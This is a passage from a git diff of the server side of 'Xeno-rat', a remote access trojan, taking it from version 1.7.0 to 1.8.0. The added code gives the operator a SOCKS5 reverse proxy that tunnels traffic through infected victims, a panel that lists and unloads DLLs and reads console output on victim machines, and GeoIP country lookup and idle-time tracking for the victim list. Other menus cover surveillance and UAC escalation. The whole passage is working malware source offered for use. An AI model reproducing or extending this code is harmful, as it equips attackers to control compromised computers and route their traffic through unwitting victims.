client.ReceiveAsync(); + string dll_info = Encoding.UTF8.GetString(dll_info_bytes); + return dll_info.Split('\n'); + } + + public async Task UnLoadDll(string dllname) + { + byte[] payload = new byte[] { 4, 1 }; + payload = client.sock.Concat(payload, Encoding.UTF8.GetBytes(dllname)); + await client.SendAsync(payload); + bool worked = (await client.ReceiveAsync())[0] == 1; + return worked; + } + + public async Task getConsoleOutput() + { + await client.SendAsync(new byte[] { 4, 2 }); + byte[] console_output_bytes = await client.ReceiveAsync(); + string console_output = Encoding.UTF8.GetString(console_output_bytes); + return console_output; + } + + public async Task GetConsoleOutput() + { + await client.SendAsync(new byte[] { 4, 2 }); + byte[] console_output_bytes = await client.ReceiveAsync(); + return Encoding.UTF8.GetString(console_output_bytes); + } + + public async Task ResetAndPopulateListView() + { + listView1.Items.Clear(); + foreach (string i in await GetDlls()) + { + listView1.Items.Add(i); + } + } + + public async Task RemoveClick(string dllname) + { + if (await UnLoadDll(dllname)) + { + await Task.Run(() => MessageBox.Show("dll unloaded")); + } + else + { + await Task.Run(() => MessageBox.Show("there was an issue unloading the dll")); + } + await ResetAndPopulateListView(); + } + + public async Task PopulateConsoleOutput() + { + string console_output = await getConsoleOutput(); + richTextBox1.Text = console_output; + } + + private async void button1_Click(object sender, EventArgs e) + { + await ResetAndPopulateListView(); + } + + + + private void listView1_MouseClick(object sender, MouseEventArgs e) + { + if (listView1.SelectedItems.Count == 0) return; + ContextMenuStrip contextMenu = new ContextMenuStrip(); + ToolStripMenuItem menuItem = new ToolStripMenuItem("Unload"); + menuItem.Click += new EventHandler(async (_, __) => await RemoveClick(listView1.SelectedItems[0].Text)); + contextMenu.Items.Add(menuItem); + contextMenu.Show(Cursor.Position); + } + + private void listView1_ItemActivate(object sender, EventArgs e) + { + + } + + private async void button2_Click(object sender, EventArgs e) + { + await PopulateConsoleOutput(); + } + } +} diff --git a/xeno rat server/Forms/DebugInfo.resx b/xeno rat server/Forms/DebugInfo.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/xeno rat server/Forms/DebugInfo.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/xeno rat server/Forms/Reverse Proxy.Designer.cs b/xeno rat server/Forms/Reverse Proxy.Designer.cs index f4740aa..8cab7ce 100644 --- a/xeno rat server/Forms/Reverse Proxy.Designer.cs +++ b/xeno rat server/Forms/Reverse Proxy.Designer.cs @@ -33,32 +33,31 @@ private void InitializeComponent() this.label1 = new System.Windows.Forms.Label(); this.button1 = new System.Windows.Forms.Button(); this.button2 = new System.Windows.Forms.Button(); + this.listView1 = new System.Windows.Forms.ListView(); + this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.SuspendLayout(); // // textBox1 // - this.textBox1.Location = new System.Drawing.Point(64, 222); - this.textBox1.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); + this.textBox1.Location = new System.Drawing.Point(33, 35); this.textBox1.Name = "textBox1"; - this.textBox1.Size = new System.Drawing.Size(148, 26); + this.textBox1.Size = new System.Drawing.Size(100, 20); this.textBox1.TabIndex = 0; // // label1 // this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(112, 182); - this.label1.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label1.Location = new System.Drawing.Point(65, 9); this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(38, 20); + this.label1.Size = new System.Drawing.Size(26, 13); this.label1.TabIndex = 1; this.label1.Text = "Port"; // // button1 // - this.button1.Location = new System.Drawing.Point(81, 262); - this.button1.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); + this.button1.Location = new System.Drawing.Point(176, 32); this.button1.Name = "button1"; - this.button1.Size = new System.Drawing.Size(112, 35); + this.button1.Size = new System.Drawing.Size(75, 23); this.button1.TabIndex = 2; this.button1.Text = "Start"; this.button1.UseVisualStyleBackColor = true; @@ -66,26 +65,44 @@ private void InitializeComponent() // // button2 // - this.button2.Location = new System.Drawing.Point(81, 306); - this.button2.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); + this.button2.Location = new System.Drawing.Point(364, 32); this.button2.Name = "button2"; - this.button2.Size = new System.Drawing.Size(112, 35); + this.button2.Size = new System.Drawing.Size(75, 23); this.button2.TabIndex = 3; this.button2.Text = "Stop"; this.button2.UseVisualStyleBackColor = true; this.button2.Click += new System.EventHandler(this.button2_Click); // + // listView1 + // + this.listView1.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.columnHeader1}); + this.listView1.Cursor = System.Windows.Forms.Cursors.Default; + this.listView1.FullRowSelect = true; + this.listView1.GridLines = true; + this.listView1.HideSelection = false; + this.listView1.Location = new System.Drawing.Point(33, 82); + this.listView1.Name = "listView1"; + this.listView1.Size = new System.Drawing.Size(406, 226); + this.listView1.TabIndex = 4; + this.listView1.UseCompatibleStateImageBehavior = false; + this.listView1.View = System.Windows.Forms.View.Details; + // + // columnHeader1 + // + this.columnHeader1.Text = "Forwarding sites"; + // // Reverse_Proxy // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(284, 469); + this.ClientSize = new System.Drawing.Size(481, 367); + this.Controls.Add(this.listView1); this.Controls.Add(this.button2); this.Controls.Add(this.button1); this.Controls.Add(this.label1); this.Controls.Add(this.textBox1); this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; - this.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.Name = "Reverse_Proxy"; this.Text = "Reverse_Proxy"; this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.Reverse_Proxy_FormClosing); @@ -101,5 +118,7 @@ private void InitializeComponent() private System.Windows.Forms.Label label1; private System.Windows.Forms.Button button1; private System.Windows.Forms.Button button2; + private System.Windows.Forms.ListView listView1; + private System.Windows.Forms.ColumnHeader columnHeader1; } } \ No newline at end of file diff --git a/xeno rat server/Forms/Reverse Proxy.cs b/xeno rat server/Forms/Reverse Proxy.cs index 482d237..9807c1a 100644 --- a/xeno rat server/Forms/Reverse Proxy.cs +++ b/xeno rat server/Forms/Reverse Proxy.cs @@ -1,4 +1,5 @@ -using System; +using dnlib.DotNet.Emit; +using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; @@ -11,6 +12,7 @@ using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; +using static System.Windows.Forms.VisualStyles.VisualStyleElement; namespace xeno_rat_server.Forms { @@ -23,8 +25,7 @@ public Reverse_Proxy(Node _client) client = _client; client.AddTempOnDisconnect(TempOnDisconnect); } - private const int BUFSIZE = 1024; - private const int TIMEOUT_SOCKET = 5; + private const int TIMEOUT_SOCKET = 10; private const string LOCAL_ADDR = "127.0.0.1"; private List killnodes = new List(); private Socket new_socket = null; @@ -78,116 +79,343 @@ private static bool BindPort(Socket sock, int LOCAL_PORT) try { - sock.Listen(5); + sock.Listen(1); } catch { sock.Close(0); + return false; } return true; } - private async Task ProxyLoop(Node socketSrc, Socket socketDst) + + private async Task CreateSubSubNode(Node client) { - killnodes.Add(socketSrc); - while (button2.Enabled && socketSrc.Connected() && socketDst.Connected && new_socket != null) + Node SubSubNode = await client.Parent.CreateSubNodeAsync(2); + if (SubSubNode == null) { - try + return null; + } + int id = await Utils.SetType2setIdAsync(SubSubNode); + if (id != -1) + { + await Utils.Type2returnAsync(SubSubNode); + byte[] a = SubSubNode.sock.IntToBytes(id); + await client.SendAsync(a); + byte[] found = await client.ReceiveAsync(); + if (found == null || found[0] == 0) + { + SubSubNode.Disconnect(); + return null; + } + } + else + { + SubSubNode.Disconnect(); + return null; + } + return SubSubNode; + } + + + private async Task RecvAll(Socket sock, int size) + { + byte[] data = new byte[size]; + int total = 0; + int dataLeft = size; + while (total < size) + { + if (!sock.Connected) { + return null; + } - // Use Task.WhenAny to asynchronously wait for data availability - await Task.WhenAny( - Task.Run(() => socketSrc.sock.sock.Poll(1000, SelectMode.SelectRead)), - Task.Run(() => socketDst.Poll(1000, SelectMode.SelectRead)) - ); + int recv = await sock.ReceiveAsync(new ArraySegment(data, total, dataLeft), SocketFlags.None); + + if (recv == 0) + { + data = null; + break; + } + + total += recv; + dataLeft -= recv; + } + + return data; + } + + private async Task replyMethodSelection(Socket sock, byte method_code) + { + byte[] reply = new byte[] { 5, method_code }; + if (!sock.Connected) + { + return false; + } + return (await sock.SendAsync(new ArraySegment(reply), SocketFlags.None))!=0; + } + + private async Task replyRequestError(Socket sock, byte rep_err_code) + { + byte[] reply = new byte[] { 5, rep_err_code, 0x00, Socks5Const.AddressType.IPv4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + if (!sock.Connected) + { + return false; + } + return (await sock.SendAsync(new ArraySegment(reply), SocketFlags.None)) != 0; + } + + private async Task StartNegotiations(Socket client_sock) + { + byte[] version_header = await RecvAll(client_sock, 1); + if (version_header == null || version_header[0] != 5) // checking if socks(5) + { + await replyMethodSelection(client_sock, Socks5Const.AuthMethod.NoAcceptableMethods); + return false; + } + byte[] number_of_methods = await RecvAll(client_sock, 1); // requested methods to use, ranging for 0-256 + if (number_of_methods == null) + { + return false; + } + List requested_methods = new List(); + for (int i = 0; i < number_of_methods[0]; i++) + { + byte[] method = await RecvAll(client_sock, 1); + requested_methods.Add(method[0]); + } + if (!requested_methods.Contains(Socks5Const.AuthMethod.NoAuthenticationRequired)) + { + await replyMethodSelection(client_sock, Socks5Const.AuthMethod.NoAcceptableMethods); + return false; + } + await replyMethodSelection(client_sock, Socks5Const.AuthMethod.NoAuthenticationRequired); + return true; + } + + private async Task DisconnectSockAsync(Socket sock) + { + try + { + if (sock != null) + { + await Task.Delay(10); + await Task.Factory.FromAsync(sock.BeginDisconnect, sock.EndDisconnect, true, null); + } + } + catch + { + sock?.Close(0); + } + } - if (socketSrc.sock.sock.Available > 0) + private async Task HandleConnectAndProxy(Socket client_sock) + { + // on all returns decomission the sockets + byte[] version_header = await RecvAll(client_sock, 1); + if (version_header == null || version_header[0] != 5) // checking if socks(5) + { + await replyMethodSelection(client_sock, Socks5Const.AuthMethod.NoAcceptableMethods); + await DisconnectSockAsync(client_sock); + return; + } + + + byte[] command = await RecvAll(client_sock, 1); // requested methods to use, ranging for 0-256 + byte[] rzv = await RecvAll(client_sock, 1); + byte[] Address_type_bytes = await RecvAll(client_sock, 1); + + if (Address_type_bytes == null || command == null || command[0] != Socks5Const.Command.Connect) + { + await replyRequestError(client_sock, Socks5Const.Reply.CommandNotSupported); + await DisconnectSockAsync(client_sock); + return; + } + int Address_type = Address_type_bytes[0]; + + string dest_addr = ""; + if (Address_type == Socks5Const.AddressType.IPv4) + { + byte[] dest_addr_bytes = await RecvAll(client_sock, 4); + if (dest_addr_bytes == null) + { + await replyRequestError(client_sock, Socks5Const.Reply.Failure); + await DisconnectSockAsync(client_sock); + return; + } + dest_addr = new IPAddress(dest_addr_bytes).ToString(); + } + else if (Address_type == Socks5Const.AddressType.DomainName) + { + byte[] domain_name_len = await RecvAll(client_sock, 1); + if (domain_name_len == null) + { + await replyRequestError(client_sock, Socks5Const.Reply.Failure); + await DisconnectSockAsync(client_sock); + return; + } + byte[] domain_name_bytes = await RecvAll(client_sock, domain_name_len[0]); + dest_addr = Encoding.UTF8.GetString(domain_name_bytes); + } + else + { + await replyRequestError(client_sock, Socks5Const.Reply.AddressTypeNotSupported); + await DisconnectSockAsync(client_sock); + return; + } + byte[] dest_port_bytes = await RecvAll(client_sock, 2); + if (dest_port_bytes == null) + { + await replyRequestError(client_sock, Socks5Const.Reply.Failure); + await DisconnectSockAsync(client_sock); + return; + } + + if (BitConverter.IsLittleEndian) + { + Array.Reverse(dest_port_bytes); + } + + int dest_port = BitConverter.ToInt16(dest_port_bytes, 0); + int ConnectTimeout = 10000;//mili-seconds + + Node subnode = await CreateSubSubNode(client); + if (subnode == null) + { + await replyRequestError(client_sock, Socks5Const.Reply.Failure); + await DisconnectSockAsync(client_sock); + return; + } + killnodes.Add(subnode); + await subnode.SendAsync(Encoding.UTF8.GetBytes(dest_addr)); + await subnode.SendAsync(subnode.sock.IntToBytes(dest_port)); + await subnode.SendAsync(subnode.sock.IntToBytes(ConnectTimeout)); + byte[] recv_msg_bytes = await subnode.ReceiveAsync(); + if (recv_msg_bytes == null) + { + await replyRequestError(client_sock, Socks5Const.Reply.Failure); + await DisconnectSockAsync(client_sock); + return; + } + int recv_msg = recv_msg_bytes[0]; + + if (recv_msg == 2) + { + await replyRequestError(client_sock, Socks5Const.Reply.ConnectionRefused); + await DisconnectSockAsync(client_sock); + return; + } + else if (recv_msg == 3) + { + await replyRequestError(client_sock, Socks5Const.Reply.HostUnreachable); + await DisconnectSockAsync(client_sock); + return; + } + else if (recv_msg == 4) + { + await replyRequestError(client_sock, Socks5Const.Reply.Failure); + await DisconnectSockAsync(client_sock); + return; + } + byte[] rsock_addr = await subnode.ReceiveAsync(); + byte[] rsock_port = await subnode.ReceiveAsync(); + if (rsock_addr.Length != 4 || rsock_port.Length != 2) + { + await replyRequestError(client_sock, Socks5Const.Reply.Failure); + await DisconnectSockAsync(client_sock); + return; + } + byte[] ConnectedPayload = new byte[] { 5, Socks5Const.Reply.OK, 0x00, Socks5Const.AddressType.IPv4, rsock_addr[0], rsock_addr[1], rsock_addr[2], rsock_addr[3], rsock_port[0], rsock_port[1] }; + + bool SentProperly = (await client_sock.SendAsync(new ArraySegment(ConnectedPayload), SocketFlags.None)) != 0; + + if (!SentProperly) + { + return; + } + ListViewItem lvi = new ListViewItem(); + lvi.Text = dest_addr + ":" + dest_port.ToString(); + ListViewItem item=null; + listView1.BeginInvoke((MethodInvoker)(() => { item = listView1.Items.Add(lvi); })); + await RecvSendLoop(client_sock, subnode, 4096); + await DisconnectSockAsync(client_sock); + subnode.Disconnect(); + listView1.BeginInvoke((MethodInvoker)(() => { item.Remove(); })); + } + + private async Task RecvSendLoop(Socket client_sock, Node subnode, int bufferSize) + { + while (button2.Enabled && client_sock.Connected && subnode.Connected() && new_socket != null) + { + try + { + await Task.WhenAny( + Task.Run(() => client_sock.Poll(1000, SelectMode.SelectRead)), + Task.Run(() => subnode.sock.sock.Poll(1000, SelectMode.SelectRead)) + ); + if (client_sock.Available > 0) { - byte[] buffer = new byte[BUFSIZE]; - int bytesRead = await socketSrc.sock.sock.ReceiveAsync(new ArraySegment(buffer), SocketFlags.None); + byte[] buffer = new byte[bufferSize]; + int bytesRead = await client_sock.ReceiveAsync(new ArraySegment(buffer), SocketFlags.None); if (bytesRead == 0) { - break; + return; } - await socketDst.SendAsync(new ArraySegment(buffer, 0, bytesRead), SocketFlags.None); + + await subnode.SendAsync(buffer.Take(bytesRead).ToArray()); + } - if (socketDst.Available > 0) + + if (subnode.sock.sock.Available > 0) { - byte[] buffer = new byte[BUFSIZE]; - int bytesRead = await socketDst.ReceiveAsync(new ArraySegment(buffer), SocketFlags.None); - if (bytesRead == 0) + byte[] data = await subnode.ReceiveAsync(); + if ((await client_sock.SendAsync(new ArraySegment(data), SocketFlags.None)) == 0) { - break; + return; } - await socketSrc.sock.sock.SendAsync(new ArraySegment(buffer, 0, bytesRead), SocketFlags.None); } + await Task.Delay(100); } - catch + catch { - break; + return; } - await Task.Delay(200); // Use Task.Delay for non-blocking delay } - //socketSrc.Disconnect(); - if (new_socket != null) - { - await Task.Factory.FromAsync(new_socket.BeginDisconnect, new_socket.EndDisconnect, true, null); - new_socket.Dispose(); - //new_socket.Close(0); - new_socket = null; - } } - - private async Task CreateSubSubNode(Node client) + private async Task HandleProxyCreation(Socket client_sock) { - Node SubSubNode = await client.Parent.CreateSubNodeAsync(2); - int id = await Utils.SetType2setIdAsync(SubSubNode); - if (id != -1) + if (await StartNegotiations(client_sock)) { - await Utils.Type2returnAsync(SubSubNode); - byte[] a = SubSubNode.sock.IntToBytes(id); - await client.SendAsync(a); - byte[] found = await client.ReceiveAsync(); - if (found == null || found[0] == 0) - { - SubSubNode.Disconnect(); - return null; - } + await HandleConnectAndProxy(client_sock); } else { - SubSubNode.Disconnect(); - return null; + await DisconnectSockAsync(client_sock); } - return SubSubNode; } - private async Task threaded(Socket new_socket) + private async Task AcceptLoop(Socket new_socket) { while (button2.Enabled) { try { - Socket wrapper = await new_socket.AcceptAsync(); - Node subnode = await CreateSubSubNode(client); - ProxyLoop(subnode, wrapper); + Socket socks_client = await new_socket.AcceptAsync(); + HandleProxyCreation(socks_client); } catch { continue; } } - if (new_socket != null) - { - new_socket.Close(0); - new_socket = null; - } + await DisconnectSockAsync(new_socket); } - private async void button1_Click(object sender, EventArgs e) + private void button1_Click(object sender, EventArgs e) { int port; if (!int.TryParse(textBox1.Text, out port)) @@ -203,7 +431,7 @@ private async void button1_Click(object sender, EventArgs e) } button1.Enabled = false; button2.Enabled = true; - await threaded(new_socket); + new Thread(async ()=>await AcceptLoop(new_socket)).Start(); } private void button2_Click(object sender, EventArgs e) @@ -226,7 +454,17 @@ private void button2_Click(object sender, EventArgs e) private void Reverse_Proxy_FormClosing(object sender, FormClosingEventArgs e) { - + foreach (Node i in killnodes) + { + if (i != null) + i.Disconnect(); + } + killnodes.Clear(); + if (new_socket != null) + { + new_socket.Close(0); + new_socket = null; + } } private void textBox2_TextChanged(object sender, EventArgs e) @@ -236,7 +474,49 @@ private void textBox2_TextChanged(object sender, EventArgs e) private void Reverse_Proxy_Load(object sender, EventArgs e) { + listView1.GetType().GetProperty("DoubleBuffered", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic).SetValue(listView1, true, null); + } + } + + + public static class Socks5Const + { + public static class AuthMethod + { + public static byte NoAuthenticationRequired = 0x00; + public static byte GSSAPI = 0x01; + public static byte UsernamePassword = 0x02; + public static byte NoAcceptableMethods = 0xFF; + // '\x03' to '\x7F' IANA ASSIGNED + // '\x80' to '\xFE' RESERVED FOR PRIVATE METHODS + } + + public static class Command + { + public static byte Connect = 0x01; + public static byte Bind = 0x02; + public static byte UdpAssociate = 0x03; + } + + public static class AddressType + { + public static byte IPv4 = 0x01; + public static byte DomainName = 0x03; + public static byte IPv6 = 0x04; + } + public static class Reply + { + public static byte OK = 0x00; // succeeded + public static byte Failure = 0x01; // general SOCKS server failure + public static byte NotAllowed = 0x02; // connection not allowed by ruleset + public static byte NetworkUnreachable = 0x03; // Network unreachable + public static byte HostUnreachable = 0x04; // Host unreachable + public static byte ConnectionRefused = 0x05; // Connection refused + public static byte TtlExpired = 0x06; // TTL expired + public static byte CommandNotSupported = 0x07; // Command not supported + public static byte AddressTypeNotSupported = 0x08; // Address type not supported } } + } diff --git a/xeno rat server/MainForm.Designer.cs b/xeno rat server/MainForm.Designer.cs index 75cad4b..1c17441 100644 --- a/xeno rat server/MainForm.Designer.cs +++ b/xeno rat server/MainForm.Designer.cs @@ -37,12 +37,14 @@ private void InitializeComponent() this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader15 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader6 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader7 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader8 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader9 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader10 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader14 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.tabPage1 = new System.Windows.Forms.TabPage(); this.listView3 = new System.Windows.Forms.ListView(); this.columnHeader11 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -152,12 +154,14 @@ private void InitializeComponent() this.columnHeader3, this.columnHeader4, this.columnHeader5, + this.columnHeader15, this.columnHeader2, this.columnHeader6, this.columnHeader7, this.columnHeader8, this.columnHeader9, - this.columnHeader10}); + this.columnHeader10, + this.columnHeader14}); this.listView2.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.listView2.FullRowSelect = true; this.listView2.GridLines = true; @@ -189,6 +193,11 @@ private void InitializeComponent() this.columnHeader5.Text = "Username"; this.columnHeader5.Width = 145; // + // columnHeader15 + // + this.columnHeader15.Text = "Domain name"; + this.columnHeader15.Width = 127; + // // columnHeader2 // this.columnHeader2.Text = "Client Version"; @@ -219,6 +228,11 @@ private void InitializeComponent() this.columnHeader10.Text = "Ping"; this.columnHeader10.Width = 50; // + // columnHeader14 + // + this.columnHeader14.Text = "Idle Time"; + this.columnHeader14.Width = 84; + // // tabPage1 // this.tabPage1.Controls.Add(this.listView3); @@ -226,7 +240,7 @@ private void InitializeComponent() this.tabPage1.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.tabPage1.Name = "tabPage1"; this.tabPage1.Padding = new System.Windows.Forms.Padding(4, 5, 4, 5); - this.tabPage1.Size = new System.Drawing.Size(1703, 856); + this.tabPage1.Size = new System.Drawing.Size(1702, 860); this.tabPage1.TabIndex = 4; this.tabPage1.Text = "📜Logs"; this.tabPage1.UseVisualStyleBackColor = true; @@ -265,7 +279,7 @@ private void InitializeComponent() this.tabPage3.Location = new System.Drawing.Point(4, 34); this.tabPage3.Name = "tabPage3"; this.tabPage3.Padding = new System.Windows.Forms.Padding(3); - this.tabPage3.Size = new System.Drawing.Size(1703, 856); + this.tabPage3.Size = new System.Drawing.Size(1702, 860); this.tabPage3.TabIndex = 5; this.tabPage3.Text = "💡 On connect"; this.tabPage3.UseVisualStyleBackColor = true; @@ -305,7 +319,7 @@ private void InitializeComponent() this.tabPage4.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.tabPage4.Name = "tabPage4"; this.tabPage4.Padding = new System.Windows.Forms.Padding(4, 5, 4, 5); - this.tabPage4.Size = new System.Drawing.Size(1703, 856); + this.tabPage4.Size = new System.Drawing.Size(1702, 860); this.tabPage4.TabIndex = 1; this.tabPage4.Text = "🔌 Listener"; this.tabPage4.UseVisualStyleBackColor = true; @@ -456,7 +470,7 @@ private void InitializeComponent() this.tabPage7.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.tabPage7.Name = "tabPage7"; this.tabPage7.Padding = new System.Windows.Forms.Padding(4, 5, 4, 5); - this.tabPage7.Size = new System.Drawing.Size(1703, 856); + this.tabPage7.Size = new System.Drawing.Size(1702, 860); this.tabPage7.TabIndex = 2; this.tabPage7.Text = "🛠 Builder"; this.tabPage7.UseVisualStyleBackColor = true; @@ -861,7 +875,7 @@ private void InitializeComponent() this.tabPage8.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.tabPage8.Name = "tabPage8"; this.tabPage8.Padding = new System.Windows.Forms.Padding(4, 5, 4, 5); - this.tabPage8.Size = new System.Drawing.Size(1703, 856); + this.tabPage8.Size = new System.Drawing.Size(1702, 860); this.tabPage8.TabIndex = 3; this.tabPage8.Text = "👤 About"; this.tabPage8.UseVisualStyleBackColor = true; @@ -971,6 +985,8 @@ private void InitializeComponent() private System.Windows.Forms.ListView listView4; private System.Windows.Forms.ColumnHeader columnHeader13; private System.Windows.Forms.CheckBox checkBox4; + private System.Windows.Forms.ColumnHeader columnHeader15; + private System.Windows.Forms.ColumnHeader columnHeader14; } } diff --git a/xeno rat server/MainForm.cs b/xeno rat server/MainForm.cs index f0759dd..56511c8 100644 --- a/xeno rat server/MainForm.cs +++ b/xeno rat server/MainForm.cs @@ -27,18 +27,24 @@ using xeno_rat_server.Forms; using System.IO.Compression; using System.Net; +using System.ComponentModel.Composition; +using MaxMind.GeoIP2; +using MaxMind.GeoIP2.Responses; namespace xeno_rat_server { public partial class MainForm : Form { + private DatabaseReader ip2countryDatabase; + private Listener ListeningHandler; private static Dictionary clients = new Dictionary(); private static int currentCount = 0; private static byte[] key = new byte[32] { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31 }; private static string string_key = "1234"; - private static int ListviewItemCount = 6; + private static int ListviewItemCount_old = 6; + private static int ListviewItemCount = 7; private Dictionary Commands = new Dictionary(); private List OnConnectTasks = new List(); private System.Windows.Forms.Timer ConfigUpdateTimer; @@ -51,7 +57,7 @@ public MainForm() { InitializeComponent(); - this.Text = "Xeno-rat: Created by moom825 - version 1.7.0"; + this.Text = "Xeno-rat: Created by moom825 - version 1.8.0"; key = Utils.CalculateSha256Bytes(string_key); ListeningHandler =new Listener(OnConnect); @@ -99,6 +105,9 @@ public MainForm() Uac_Options[0] = "Request admin"; Uac_Options[1] = "De-escalate to user"; + string[] Debug_Info = new string[1]; + Debug_Info[0] = "Debug"; + Commands["Fun"] = Fun; Commands["Surveillance"] = Surveillance; Commands["System"] = System; @@ -106,6 +115,7 @@ public MainForm() Commands["Uac Options"] = Uac_Options; Commands["Client"] = Client; Commands["Power"] = Power; + Commands["Debug Info"] = Debug_Info; } private async Task OnConnect(Socket socket) @@ -330,22 +340,53 @@ private async Task GetAddInfo(Node type0node) start=end; } } - if (strings[strings.Length-1] == null) + if (strings[strings.Length-2] == null) { return null; } + if (strings[strings.Length - 1] == null) // this is here for combatibility reasons for older stubs + { + string[] temp = new string[strings.Length]; + strings.CopyTo(temp, 0); + strings[2] = "N/A"; + + for (int i = 2; i < temp.Length-1; i++) + { + strings[i+1]= temp[i]; + } + + } ListViewItem lvi = new ListViewItem(); ListViewItem item=null; lvi.Tag = type0node; + + string ipAddress = type0node.GetIp(); + + string flag = "missing"; + try + { + CountryResponse ipData = ip2countryDatabase.Country(ipAddress); + if (ipData.Country!=null) + { + flag = ipData.Country.IsoCode; + } + + } + catch + { + } + lvi.ImageKey = flag; lvi.Text = strings[0]; - lvi.SubItems.Add(type0node.GetIp()); + lvi.SubItems.Add(ipAddress); lvi.SubItems.Add(strings[1]); lvi.SubItems.Add(strings[2]); lvi.SubItems.Add(strings[3]); lvi.SubItems.Add(strings[4]); lvi.SubItems.Add(strings[5]); + lvi.SubItems.Add(strings[6]); lvi.SubItems.Add(""); lvi.SubItems.Add("0"); + lvi.SubItems.Add("0"); listView2.Invoke((MethodInvoker)(() => { item=listView2.Items.Add(lvi); @@ -377,7 +418,7 @@ private async Task ListViewUpdater(ListViewItem item, Node client) { return; } - byte[] get_curr_window = new byte[] { 0 }; + byte[] get_update_info = new byte[] { 0 }; Node subnode = await client.CreateSubNodeAsync(2); CompleteOnConnectTasks(client); if (subnode == null) @@ -388,7 +429,7 @@ private async Task ListViewUpdater(ListViewItem item, Node client) { Stopwatch timer = new Stopwatch(); timer.Start(); - await subnode.SendAsync(get_curr_window); + await subnode.SendAsync(get_update_info); byte[] data=await subnode.ReceiveAsync(); timer.Stop(); TimeSpan timeTaken = timer.Elapsed; @@ -396,13 +437,22 @@ private async Task ListViewUpdater(ListViewItem item, Node client) { break; } - string window = Encoding.UTF8.GetString(data); + string info = Encoding.UTF8.GetString(data); + string window = info; + string idle_time = "N/A"; + if (info.Contains("\n")) + { + string[] split_data = info.Split('\n'); + window = split_data[0]; + idle_time = split_data[1]; + } listView2.BeginInvoke((MethodInvoker)(() => { - item.SubItems[7].Text = window; - item.SubItems[8].Text = ((int)timeTaken.TotalMilliseconds).ToString(); + item.SubItems[8].Text = window; + item.SubItems[9].Text = ((int)timeTaken.TotalMilliseconds).ToString(); + item.SubItems[10].Text = idle_time; })); - Thread.Sleep(2000); + await Task.Delay(2000); } subnode.Disconnect(); @@ -428,7 +478,6 @@ private async Task HeartBeat(Node HeartSock, Node MainSock) int op = data[0]; if (op == 3) { - try { string error_msg=Encoding.UTF8.GetString(data, 1, data.Length - 1); if (LogErrors) @@ -442,7 +491,7 @@ private async Task HeartBeat(Node HeartSock, Node MainSock) { break; } - Thread.Sleep(1000); + await Task.Delay(1000); } MainSock.Disconnect(); } @@ -451,6 +500,7 @@ private void MainForm_Load(object sender, EventArgs e) { Icon = Icon.ExtractAssociatedIcon(System.Reflection.Assembly.GetExecutingAssembly().Location); listView2.GetType().GetProperty("DoubleBuffered", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic).SetValue(listView2, true, null); + listView3.GetType().GetProperty("DoubleBuffered", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic).SetValue(listView3, true, null); ConfigUpdateTimer = new System.Windows.Forms.Timer(); ConfigUpdateTimer.Tick += new EventHandler(ConfigUpdateTimer_Tick); ConfigUpdateTimer.Interval = 10000; @@ -459,6 +509,19 @@ private void MainForm_Load(object sender, EventArgs e) DeserializeControlsFromJson(File.ReadAllText("Config.json")); } ConfigUpdateTimer.Start(); + + ImageList list = new ImageList(); + foreach 